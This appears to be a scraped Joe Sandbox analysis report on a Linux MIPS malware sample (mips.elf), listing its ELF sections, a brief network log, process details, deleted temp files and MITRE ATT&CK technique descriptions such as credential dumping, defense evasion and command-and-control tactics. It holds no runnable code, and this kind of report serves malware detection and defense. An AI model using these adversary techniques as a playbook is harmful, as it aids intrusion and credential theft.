.text	PROGBITS	0x400120	0x120	0x196e0	0x0	0x6	AX	16
.fini	PROGBITS	0x419800	0x19800	0x5c	0x0	0x6	AX	4
.rodata	PROGBITS	0x419860	0x19860	0x13a0	0x0	0x2	A	16
.eh_frame	PROGBITS	0x45ac00	0x1ac00	0x4	0x0	0x3	WA	4
.ctors	PROGBITS	0x45ac04	0x1ac04	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x45ac0c	0x1ac0c	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x45ac14	0x1ac14	0x4	0x0	0x3	WA	4
.data.rel.ro	PROGBITS	0x45ac18	0x1ac18	0x128	0x0	0x3	WA	4
.data	PROGBITS	0x45ad40	0x1ad40	0x248	0x0	0x3	WA	16
.got	PROGBITS	0x45af90	0x1af90	0x618	0x4	0x10000003	WAp	16
.sbss	NOBITS	0x45b5a8	0x1b5a8	0x14	0x0	0x10000003	WAp	4
.bss	NOBITS	0x45b5c0	0x1b5a8	0x374c	0x0	0x3	WA	16
.mdebug.abi32	PROGBITS	0xbac	0x1b5a8	0x0	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x1b5a8	0x73	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x1ac00	0x1ac00	5.5562	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x1ac00	0x45ac00	0x45ac00	0x9a8	0x410c	4.2872	0x6	RW	0x10000	.eh_frame .ctors .dtors .jcr .data.rel.ro .data .got .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 7, 2024 11:22:51.489598989 CET	43854	53	192.168.2.23	1.1.1.1
Dec 7, 2024 11:22:51.627319098 CET	53	43854	1.1.1.1	192.168.2.23
Dec 7, 2024 11:22:51.641331911 CET	50416	19302	192.168.2.23	74.125.250.129
Dec 7, 2024 11:22:52.729990959 CET	19302	50416	74.125.250.129	192.168.2.23
Dec 7, 2024 11:22:52.732907057 CET	39127	53	192.168.2.23	1.1.1.1
Dec 7, 2024 11:22:53.007181883 CET	53	39127	1.1.1.1	192.168.2.23

Start time (UTC):	10:22:49
Start date (UTC):	07/12/2024
Path:	/tmp/mips.elf
Arguments:	/tmp/mips.elf
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Start time (UTC):	10:22:50
Start date (UTC):	07/12/2024
Path:	/tmp/mips.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report mips.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.07tg5I (deleted)

/tmp/qemu-open.0C2DOF (deleted)

/tmp/qemu-open.0TG7CF (deleted)

/tmp/qemu-open.1qiKSH (deleted)

/tmp/qemu-open.1zakuF (deleted)

/tmp/qemu-open.33m9OG (deleted)

/tmp/qemu-open.3NALhI (deleted)

/tmp/qemu-open.5ZUHTI (deleted)

/tmp/qemu-open.5pEYNH (deleted)

/tmp/qemu-open.6c8ibJ (deleted)

/tmp/qemu-open.6dXO6I (deleted)

/tmp/qemu-open.7WKZ1F (deleted)

/tmp/qemu-open.7wwVpG (deleted)

/tmp/qemu-open.83WmeH (deleted)

/tmp/qemu-open.8LvVeI (deleted)

/tmp/qemu-open.8MQDkJ (deleted)

/tmp/qemu-open.8xBuCH (deleted)

/tmp/qemu-open.8xeaxG (deleted)

/tmp/qemu-open.9KxvPI (deleted)

/tmp/qemu-open.9kgIQI (deleted)

/tmp/qemu-open.B6er6F (deleted)

/tmp/qemu-open.Bhb5RH (deleted)

/tmp/qemu-open.Bx2XOF (deleted)

/tmp/qemu-open.CrK7YI (deleted)

/tmp/qemu-open.D52feJ (deleted)

/tmp/qemu-open.DBFNyJ (deleted)

/tmp/qemu-open.DK2wlG (deleted)

/tmp/qemu-open.DyyGWI (deleted)

/tmp/qemu-open.EE5wZI (deleted)

/tmp/qemu-open.EM9OaJ (deleted)

/tmp/qemu-open.ERp7EG (deleted)

/tmp/qemu-open.EXbrIH (deleted)

/tmp/qemu-open.Ec0jIH (deleted)

/tmp/qemu-open.FOHbyG (deleted)

Linux Analysis Report
mips.elf

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre